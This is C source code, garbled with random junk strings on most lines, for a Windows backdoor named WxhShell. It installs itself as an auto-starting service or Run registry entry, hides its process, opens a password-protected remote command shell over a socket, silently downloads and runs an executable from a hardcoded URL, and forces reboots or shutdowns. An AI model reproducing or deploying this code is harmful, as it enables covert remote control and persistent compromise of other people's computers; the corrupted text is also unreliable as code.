    if(Boot(SHUTDOWN)) {L2Gb(YLW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vS*0CR\  
    else { @R-~zOv  
    closesocket(wsh); )H37a  
    ExitThread(0); q2j}64o _S  
    } B'BbTI,  
    break; }&C!^v o  
    } HU'`kimWb  
  // 获取shell [%)B%h`XGf  
  case 's': { KbuGf$Bv  
    CmdShell(wsh); gx>mKSzy  
    closesocket(wsh); 7q{v9xKy  
    ExitThread(0); @SQ*/sw (c  
    break; Fp|rMq  
  } uTlT'9)  
  // 退出 Bdk{.oh6  
  case 'x': { E6^S2J2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tgF(=a]o  
    CloseIt(wsh); _6ax{:/Q  
    break; C5lD Hw[CX  
    } `bi_)i6Low  
  // 离开 fPk9(X;G!p  
  case 'q': { b8b PK<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ``YL] <<  
    closesocket(wsh); B43#9CK`o  
    WSACleanup(); szsZFyW )+  
    exit(1); PJ11LE  
    break; 2DBFXhP  
        }  ?Ge*~d  
  } m+gG &`&u  
  } %Pvb>U(Xs  
U+}9X^  
  // 提示信息 sxQ,x/O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7!yF5 +_d  
} W9:{pQG  
  } 3v3Va~fm`  
+uGP(ONY  
  return; Vqp.jF1|  
} d<cbp [3F  
fN%5D z-e  
// shell模块句柄 *1$~CC7  
int CmdShell(SOCKET sock) .LTFa.jxA  
{ hpi_0lMkI  
STARTUPINFO si; <n~g+ps  
ZeroMemory(&si,sizeof(si)); jeuNTDjeL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .STf  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Nwu Be:"@  
PROCESS_INFORMATION ProcessInfo; :)V0zHo&(  
char cmdline[]="cmd"; hG3$ ]i9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~i&< !O&  
  return 0; ToXFMkwY  
} ?bYQZJ>&  
gl\{QcI8<  
// 自身启动模式 d=OO(sf  
int StartFromService(void) I EsD=  
{ Q c< O; #  
typedef struct _j<M}  
{ -Aym+N9  
  DWORD ExitStatus; *M!YQ<7G^d  
  DWORD PebBaseAddress; |/Q."d  
  DWORD AffinityMask; 3LnyQ  
  DWORD BasePriority; 9l^  
  ULONG UniqueProcessId; M,U=zNPnk  
  ULONG InheritedFromUniqueProcessId; EsxTBg  
}   PROCESS_BASIC_INFORMATION; ~S{\wL53  
ZC-evy  
PROCNTQSIP NtQueryInformationProcess; Glc4g  
A(sx5Ynp  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9d(v^T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; > Vm  
eS%6 h U b  
  HANDLE             hProcess; "ZB`fNE  
  PROCESS_BASIC_INFORMATION pbi; ..{^"`FQ  
[&k k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EBE>&{%$^  
  if(NULL == hInst ) return 0; ,^[37/S  
0$h$7'a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6]A\8Ty  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lfhKZX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); DmA!+  
"1TM  
  if (!NtQueryInformationProcess) return 0; qvE[_1QCc  
['`'&+x&!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;Wm)e~`,  
  if(!hProcess) return 0; ,r,;2,;6nd  
;j\$[4W.i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Pw{{+PBu R  
@%85k/(  
  CloseHandle(hProcess); Y$5v3E\uc  
Kyiez]T6%q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w}<I\*\`!  
if(hProcess==NULL) return 0; UHszOl  
_IGa8=~  
HMODULE hMod; TK?N^ly  
char procName[255]; {$=%5  
unsigned long cbNeeded; BqAwo  
X"59`Yh  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %31K*i/]  
I{UB!0H  
  CloseHandle(hProcess); 7ib<Cb>K  
#yOY&W:N  
if(strstr(procName,"services")) return 1; // 以服务启动 znpZ0O\!  
0`zq*OQ  
  return 0; // 注册表启动 `,=p\g|D  
} ?bi^h/ f  
D4S?b ZFHo  
// 主模块 2*E<G|-F  
int StartWxhshell(LPSTR lpCmdLine) Z+Zh;Ms  
{ %cjav  
  SOCKET wsl; l_IX+4(@b|  
BOOL val=TRUE; D\~$6#B>>  
  int port=0; o6%f%:&  
  struct sockaddr_in door; ZlXs7 &_  
2;7GgO~  
  if(wscfg.ws_autoins) Install(); S(s~4(o>8  
Z'M@DY/fdK  
port=atoi(lpCmdLine); 2Ps `!Y5  
GgZf6~b1J  
if(port<=0) port=wscfg.ws_port; \:28z  
dL"i\5#%A  
  WSADATA data; "2j~3aWj  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vv_?ip:t  
*M5C*}dl  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5WG@ ;K%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0tyU%z{RV  
  door.sin_family = AF_INET; Li$k<AM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'v)+S;oB  
  door.sin_port = htons(port); S8<aq P  
\"j1fAD!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @2O\M ,g5  
closesocket(wsl); (Gs g+c   
return 1; h"m7r4f  
} 9peB+URV  
]&BFV%kw  
  if(listen(wsl,2) == INVALID_SOCKET) { 3Or3@e5r  
closesocket(wsl); Qp Vm  
return 1; Kwau:_B  
} 1 .k}gl0<  
  Wxhshell(wsl); ~kFRy{z  
  WSACleanup(); GoXHVUyp  
Z)~4)71Y:  
return 0; D]_\i[x  
Ps-d#~4U;  
} _CT|5wQF<  
I[C.iILL  
// 以NT服务方式启动 J(L$pIM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p 1fnuN |,  
{ (#BA{9T,^  
DWORD   status = 0; 6?~pjMV  
  DWORD   specificError = 0xfffffff; N|d@B{a(  
 3".W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >?x Vr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3N\X{za  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?!vW&KJZx  
  serviceStatus.dwWin32ExitCode     = 0; .=D6<4#t  
  serviceStatus.dwServiceSpecificExitCode = 0; :v48y.Ij7s  
  serviceStatus.dwCheckPoint       = 0; r73Xh"SL  
  serviceStatus.dwWaitHint       = 0; t?Znil|o  
ymqhI\>y#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s#sX r  
  if (hServiceStatusHandle==0) return; )E|Bb=%  
>X,6  
status = GetLastError(); 9`b3=&i\  
  if (status!=NO_ERROR) o!&*4>tF  
{ )A"7l7?.n)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :W55JD'  
    serviceStatus.dwCheckPoint       = 0; Y6Q6--P  
    serviceStatus.dwWaitHint       = 0; 0eIR)#j*  
    serviceStatus.dwWin32ExitCode     = status; CQ ?|=cN  
    serviceStatus.dwServiceSpecificExitCode = specificError; eIl&=gZ6>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Su~`jRN $  
    return; 3+ 'w%I  
  } C<ljBz`,t  
~a Rq\fx{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W3kilhZ  
  serviceStatus.dwCheckPoint       = 0; 8'62[e|=7[  
  serviceStatus.dwWaitHint       = 0; .d,Zx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >n62csO  
} p`0Tpgi  
B7C6Mau  
// 处理NT服务事件,比如:启动、停止 co|0s+%PBq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }qg&2M%\  
{ \zU R9h  
switch(fdwControl) Nq8A vBwo4  
{ z'*>Tk8h  
case SERVICE_CONTROL_STOP: c=CXj3  
  serviceStatus.dwWin32ExitCode = 0; c{0?gt.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; TY}?>t+  
  serviceStatus.dwCheckPoint   = 0; #t*c*o  
  serviceStatus.dwWaitHint     = 0; 7 #`:m|$  
  { P7!Sc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t!$/r]XM h  
  } 2J5dZYW  
  return; *@Z'{V\  
case SERVICE_CONTROL_PAUSE: / e,lD)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #;)7~69  
  break; ]  D(3   
case SERVICE_CONTROL_CONTINUE: <dZ{E7l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0%GWc}o  
  break; PC5FfX  
case SERVICE_CONTROL_INTERROGATE: /WMLr5  
  break; -$r fu  
}; &+sN= J.x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ? "gy`oCv  
} uo^>95lkv  
g|oPRC$I'  
// 标准应用程序主函数 C%&7,F7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L r,$98Dy  
{ POf \l  
??Lxb% 7R  
// 获取操作系统版本 Z'~5L_.]Ai  
OsIsNt=GetOsVer(); =W6P>r_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {+ m)*3~w  
n.)-aRu[  
  // 从命令行安装 )]}*oO  
  if(strpbrk(lpCmdLine,"iI")) Install(); )xeVoAg  
^s-3U  
  // 下载执行文件 5D#*lMSP"'  
if(wscfg.ws_downexe) { 5"sF#Y&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9f "*O j  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6 B )   
} (?Yz#Yf  
N\u-8nE5  
if(!OsIsNt) { $t]DxMd  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,/KHKLY7  
HideProc(); {"<Q?yA2y  
StartWxhshell(lpCmdLine); tf,_4_7#$  
} REw3>/=  
else {|fA{ Q_R  
  if(StartFromService()) o8" [6Ys  
  // 以服务方式启动 wNPZ[V:  
  StartServiceCtrlDispatcher(DispatchTable); E,;nx^`!l  
else 1+^c3Dd`  
  // 普通方式启动 w-KtxG(  
  StartWxhshell(lpCmdLine); f?]cW h%  
D@Q|QY5qic  
return 0; YpWu\oP  
} NT/}}vES  
5rc<ibGh  
$R^"~|m3M  
k_ skn3,u  
=========================================== Bg3^BOT  
}b-?Dm_H  
R_^:<F0  
ZK;HW  
' ft  |  
h_cZ&P|  
" t+&WsCN  
KT8Fn+  
#include <stdio.h> CV`  I.  
#include <string.h> NZl0sX.:  
#include <windows.h> ;%U`P8b!  
#include <winsock2.h> @M(vaJB8u  
#include <winsvc.h> JeO(sj$e  
#include <urlmon.h> !rXyw`6N  
ICGBU>Db  
#pragma comment (lib, "Ws2_32.lib") ]-O:|q>]  
#pragma comment (lib, "urlmon.lib") #bGt%*Re p  
eX=W+&lj  
#define MAX_USER   100 // 最大客户端连接数 2nw P-i  
#define BUF_SOCK   200 // sock buffer K(_nfE{  
#define KEY_BUFF   255 // 输入 buffer <5nz:B/  
[1s B  
#define REBOOT     0   // 重启 {6n B83BB  
#define SHUTDOWN   1   // 关机 !7_Q_h',  
+VTMa9d  
#define DEF_PORT   5000 // 监听端口 J3K!@m_\  
En[cg  
#define REG_LEN     16   // 注册表键长度 ?gTY! ;$P  
#define SVC_LEN     80   // NT服务名长度 \s,ZE6dQ  
P[D ^*}  
// 从dll定义API chxO*G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); oJ5V^.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @o_-UsUX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :V8 \^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  snX5mD  
f 1]1ZOb  
// wxhshell配置信息 gi~*1RIel;  
struct WSCFG { 8E|S`I  
  int ws_port;         // 监听端口 UE*M\r<  
  char ws_passstr[REG_LEN]; // 口令 oKzLt  
  int ws_autoins;       // 安装标记, 1=yes 0=no |E|d"_Ma  
  char ws_regname[REG_LEN]; // 注册表键名 |o6B:NH,rg  
  char ws_svcname[REG_LEN]; // 服务名 u3kZOsG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0*x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O9jqeF`L=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^hLAMaR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U@DIO/C,m`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (oxe'\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >/GVlXA'  
V D-,)f  
}; u0\?aeg`  
RP!X 5  
// default Wxhshell configuration kbiMqiPG  
struct WSCFG wscfg={DEF_PORT, !5&% P b  
    "xuhuanlingzhe", n-0RA~5z  
    1, X)x$h{ OE  
    "Wxhshell", 9*U3uyPi  
    "Wxhshell", {p-&8-  
            "WxhShell Service", Y2HF  
    "Wrsky Windows CmdShell Service", CB:G4VqOT  
    "Please Input Your Password: ", hv2@}<r?  
  1, .3M=|rE   
  "http://www.wrsky.com/wxhshell.exe", ]+Ik/+Nz  
  "Wxhshell.exe" )w=ehjV^m  
    }; 73 ix4C  
4At{(fw W  
// 消息定义模块 ?@!dc6   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }\?UmuolQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Pm*FA8a7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tUaDwIu#  
char *msg_ws_ext="\n\rExit."; W!MO }0s  
char *msg_ws_end="\n\rQuit."; <xv@us7  
char *msg_ws_boot="\n\rReboot..."; iK%%  
char *msg_ws_poff="\n\rShutdown..."; Ahv%Q%m%2  
char *msg_ws_down="\n\rSave to "; Rf9;jwU  
Wo+fMn(O  
char *msg_ws_err="\n\rErr!"; s"gNHp.oF  
char *msg_ws_ok="\n\rOK!"; 8&t3a+8l  
AR8zCKBc^  
char ExeFile[MAX_PATH]; pbJC A&  
int nUser = 0; #6* j+SX^  
HANDLE handles[MAX_USER]; V $Y=JK@  
int OsIsNt; 2SVBuV/R  
Vz[tgb]-  
SERVICE_STATUS       serviceStatus; 3V2dN )\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )i|0Ubn[|  
:rR)rj'  
// 函数声明 f2ea|l  
int Install(void); ~?E.U,R  
int Uninstall(void); \%[sv@P9s  
int DownloadFile(char *sURL, SOCKET wsh); ,E ]vM&  
int Boot(int flag); jjLx60|{  
void HideProc(void); bYt [/K,  
int GetOsVer(void); `-yo-59E[  
int Wxhshell(SOCKET wsl); ;@/^hk{A  
void TalkWithClient(void *cs); + xYU$e6Z  
int CmdShell(SOCKET sock); >x'R7z23  
int StartFromService(void); dA 03,s  
int StartWxhshell(LPSTR lpCmdLine); .! 'SG6 q  
3&`LVhx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?/3'j(Gk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); JO[7_*s  
-}:; EGUtd  
// 数据结构和表定义 I) ]"`2w2w  
SERVICE_TABLE_ENTRY DispatchTable[] = {$AwG#kt  
{ XSOSy2:  
{wscfg.ws_svcname, NTServiceMain}, q# C;iK4  
{NULL, NULL} )wqG^yv  
}; ^GL>xlZ(  
Nl$b;~ u  
// 自我安装 ~S\y)l\wZ  
int Install(void) G1tua"Px  
{ u7(<YSOs  
  char svExeFile[MAX_PATH]; X^o0t^  
  HKEY key; &d sXK~9M>  
  strcpy(svExeFile,ExeFile); 9u0<$UY%  
b%wm-p  
// 如果是win9x系统,修改注册表设为自启动 y?Cq{(  
if(!OsIsNt) { +Hd'*'c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0&Z+P?Wb4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BWF>;*Xro  
  RegCloseKey(key); 5do49H_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SPu+t3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nG4}8  
  RegCloseKey(key); rK~Obv  
  return 0; ssY5g !%  
    } O= 84ZP%  
  } CpLLsphy  
} Q@(tyW+8U@  
else { @V=HY  
6^vz+oN  
// 如果是NT以上系统,安装为系统服务 8[rZRc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 01w}8a(  
if (schSCManager!=0) y^:N^Gt  
{ 4Ai#$SHLm  
  SC_HANDLE schService = CreateService i87+9X  
  ( O>,Rsj!e  
  schSCManager, Ihy76_OZ  
  wscfg.ws_svcname, s;W1YN  
  wscfg.ws_svcdisp, _Gtq]`y  
  SERVICE_ALL_ACCESS, R>B4v+b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , VMl)_M:'  
  SERVICE_AUTO_START, jM[]Uh  
  SERVICE_ERROR_NORMAL,  j|owU  
  svExeFile, tB#-}Gf  
  NULL, +`&-xq76  
  NULL, P$i d?  
  NULL, =z4kK_?F,  
  NULL, "JpnmE[`  
  NULL DAVgP7h'  
  ); mvXIh";  
  if (schService!=0) h(gpq SN  
  { ' }T6dS  
  CloseServiceHandle(schService); `VXC*A   
  CloseServiceHandle(schSCManager); eb=#{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {GhM,-%e  
  strcat(svExeFile,wscfg.ws_svcname); \QP1jB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { js F96X{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7q@>d(xho  
  RegCloseKey(key); zC|y"PTw  
  return 0; /2Qgg`^)  
    } !9g >/9h  
  } h ngdeGa  
  CloseServiceHandle(schSCManager); ;S}_/'  
} 56!/E5qgW  
} !~QmY,R  
M&ec%<lM  
return 1; "!z9UiA  
} eG08Xt |lc  
&k@r23V7r  
// 自我卸载 vI0::ah/  
int Uninstall(void) 2 `nOYK  
{ *Ry{}|_8  
  HKEY key; >*e,+ok  
7yFV.#K3O  
if(!OsIsNt) { <69Uq8GI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gQlL0jAV  
  RegDeleteValue(key,wscfg.ws_regname); +?y9EZB%  
  RegCloseKey(key); <j&LC /]o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !fK9YW(Im  
  RegDeleteValue(key,wscfg.ws_regname); +kZW:t!-  
  RegCloseKey(key); zMbz_22*  
  return 0; PNG!q}(c  
  } \Ss6F]K]  
} +5oK91o[y  
} vj4n=F,Z  
else { 6R';[um?q  
[RFF&uy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Hl b%/&  
if (schSCManager!=0) QTbv3#  
{ /d-d8n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s2;b-0  
  if (schService!=0) kzXmiBL<9  
  { CI~ll=9`  
  if(DeleteService(schService)!=0) { 2-x#|9  
  CloseServiceHandle(schService); 6ujePi <U  
  CloseServiceHandle(schSCManager); ?h7(,39^>  
  return 0; Gk2R:\/Y  
  } #azD& 6`  
  CloseServiceHandle(schService); ?JI:>3e  
  } 6y}|IhX?z  
  CloseServiceHandle(schSCManager); 2}8xY:|@(U  
} 0 V3`rK  
} I'>r  
3|9 U`@  
return 1; zcE[wM  
} 7qT>wCVT  
TaTs-]4  
// 从指定url下载文件 c]!Yb-  
int DownloadFile(char *sURL, SOCKET wsh) P8=!/L2?  
{ 4;.y>~z  
  HRESULT hr; uIb,n5  
char seps[]= "/"; '980.  
char *token; 3r]N\c  
char *file; XLxr@1   
char myURL[MAX_PATH]; Cp[ NVmN  
char myFILE[MAX_PATH]; o:8*WCiqrN  
N]iu o.  
strcpy(myURL,sURL); LH]<+Zren  
  token=strtok(myURL,seps); fBRU4q=^T  
  while(token!=NULL) C=uYX"  
  { [K4wd%+  
    file=token; w] =q>p  
  token=strtok(NULL,seps); hA!kkNqV  
  } %?WR 9}KU0  
$bd2TVNV:  
GetCurrentDirectory(MAX_PATH,myFILE); `R+I(Cb  
strcat(myFILE, "\\"); qTD^Vz V  
strcat(myFILE, file); daakawn+  
  send(wsh,myFILE,strlen(myFILE),0); 2qkZ B0[  
send(wsh,"...",3,0); @x @*=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); TEYn^/n~  
  if(hr==S_OK) y+g01z  
return 0; *%,{<C,Y  
else {} gr\  
return 1; t/`~(0F  
MrGq{,6C  
} p3R: 3E6p  
ZI>')T<@j"  
// 系统电源模块 7\xGMCctM  
int Boot(int flag) O<EFm}Ae  
{ A;\1`_i0  
  HANDLE hToken; HX&G  k  
  TOKEN_PRIVILEGES tkp; Z2cumx(  
swGp{wJ  
  if(OsIsNt) {  5gZ6H/.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b)1v:X4Bv=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8nSEAr~  
    tkp.PrivilegeCount = 1; ccPTJ/%$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -fm1T|>#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2/ES.>K!.  
if(flag==REBOOT) { 4,)EG1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "ytPS~  
  return 0; psaPrE  
} *@1(!A  
else { fC7rs5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Vw>AD<Rl  
  return 0; xB<^ar  
} RcG 1J7#i  
  } (O@fgBM  
  else { b:6NVHb%  
if(flag==REBOOT) { 7XU$O$C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r|,_qNrw  
  return 0; Wq}Y|0c  
} |3{"ANmm'  
else { aB*'DDlx"r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i] I{7k  
  return 0; uGW!~qAr*  
} #q mv(VB4  
} yRyUOTK  
[0M`uf/u  
return 1; gx ]5)O  
} )kpNg:2p  
o0}kRL  
// win9x进程隐藏模块 p-o8Ctc?V  
void HideProc(void) s,;7m  
{ o6Jhl8  
"PePiW(i+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kE`Fg(M  
  if ( hKernel != NULL ) uy'qIq  
  { ya'Ma<4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qvC2BQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9@^N* E+  
    FreeLibrary(hKernel); Tf{lH9ca$  
  } \TS.9 >\  
8mM`v  
return; ym;I(TC+  
} w/, A@fLL  
nJ2910"<  
// 获取操作系统版本 q5G`N>"V  
int GetOsVer(void) O[j$n  
{ +|6E~#zklY  
  OSVERSIONINFO winfo; Ie7S'.Lmq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -,qGEJ  
  GetVersionEx(&winfo); %{B4M#~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O^DLp/vM  
  return 1; &~'^;hy=  
  else ?Ll1B3f  
  return 0; ~sVbg$]\G  
} 08_<G`r  
#:E^($v  
// 客户端句柄模块 _ 5/3RN  
int Wxhshell(SOCKET wsl) l(Y\@@t1  
{ *],= !  
  SOCKET wsh; l<UA0*t  
  struct sockaddr_in client; %*^s%NI  
  DWORD myID; 6 g)X&pZ  
q rF:=?`E  
  while(nUser<MAX_USER) L.x`Jpq(3  
{ us )NgG  
  int nSize=sizeof(client); I|tn7|*-A[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z|BOuB^   
  if(wsh==INVALID_SOCKET) return 1; B*^8kc:)L  
L"'L@ A|U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %:.IG.`d  
if(handles[nUser]==0) mMtva}=*  
  closesocket(wsh); (AT)w/  
else b4CXif  
  nUser++; 9=9R"X>L  
  } qz }PTx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1i 7p'  
)AXa.y  
  return 0; Qy\K oo  
} &t@|/~%[  
:o_6  
// 关闭 socket / jN &VpDG  
void CloseIt(SOCKET wsh) I{7Hz{  
{ *?!A  
closesocket(wsh); fH 0&Wc3yC  
nUser--; ;|.IUXEgcF  
ExitThread(0); eXQzCm  
} Jm3iYR+,  
3M[5_OK   
// 客户端请求句柄 p2j=73$  
void TalkWithClient(void *cs) o%l|16DR  
{ YA@OA$`E  
cB4p.iO   
  SOCKET wsh=(SOCKET)cs; 5uD'Kd$H  
  char pwd[SVC_LEN]; ZZU"Q7`^  
  char cmd[KEY_BUFF]; Am)XbN')1  
char chr[1]; /@9-D 4  
int i,j; ek]CTUl*  
}zqYn`ffD  
  while (nUser < MAX_USER) { H:`[$ ^  
T^.W'  
if(wscfg.ws_passstr) { LE@`TPg$R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XkuZ2(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?iaD;:'qE  
  //ZeroMemory(pwd,KEY_BUFF); r^!P=BS{  
      i=0; M UqV$#4@I  
  while(i<SVC_LEN) { ~ H $q  
P[a\Q`}L  
  // 设置超时 "~aCW~  
  fd_set FdRead; M;F&Ix  
  struct timeval TimeOut; uNG?`>4>  
  FD_ZERO(&FdRead); AV^Sla7|_  
  FD_SET(wsh,&FdRead); Wf:I 0  
  TimeOut.tv_sec=8; \F8*HPM=*  
  TimeOut.tv_usec=0; *8j2iu-|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3bPF+(`J  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9Sk?tl  
x@480r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1U< g  
  pwd=chr[0]; i;8tA !  
  if(chr[0]==0xd || chr[0]==0xa) { tO]` I-  
  pwd=0; l]v>PIh~N  
  break; l*z.20^P  
  } _ya_Jf*  
  i++; i& ybvTl  
    } pt+[BF6P  
mo- Y %  
  // 如果是非法用户,关闭 socket $E]W U?U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ff @Cs0R  
} ds"q1  
Q`7.-di  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M;K%=l$NG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %wuD4PRK  
{@w!kl~8  
while(1) { hIv8A_>@`  
b 6B5  
  ZeroMemory(cmd,KEY_BUFF); (5(TbyWwD  
jjrhl  
      // 自动支持客户端 telnet标准   D!d1%hac  
  j=0; [:(^n0%  
  while(j<KEY_BUFF) { /"%(i#<)xs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YB1uudW9  
  cmd[j]=chr[0]; >2w^dI2  
  if(chr[0]==0xa || chr[0]==0xd) { QBI;aG<+b>  
  cmd[j]=0; Dw6mSsC/  
  break; >l3iAy!sZ  
  } pZg}7F{$  
  j++; c;dMXv   
    } 1||\3L/  
P 4|p[V8  
  // 下载文件 @ =M:RA  
  if(strstr(cmd,"http://")) { ^E^Cj;od@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); n$O[yRMI[  
  if(DownloadFile(cmd,wsh)) )IH|S5mG?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?|;q=p`t-  
  else kZ>Xl- LV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #{BHH;J+  
  } BrO" _  
  else { ]'iOV-2^'  
iir]M`A.-  
    switch(cmd[0]) { GZwz4=`  
  RU_wr<  
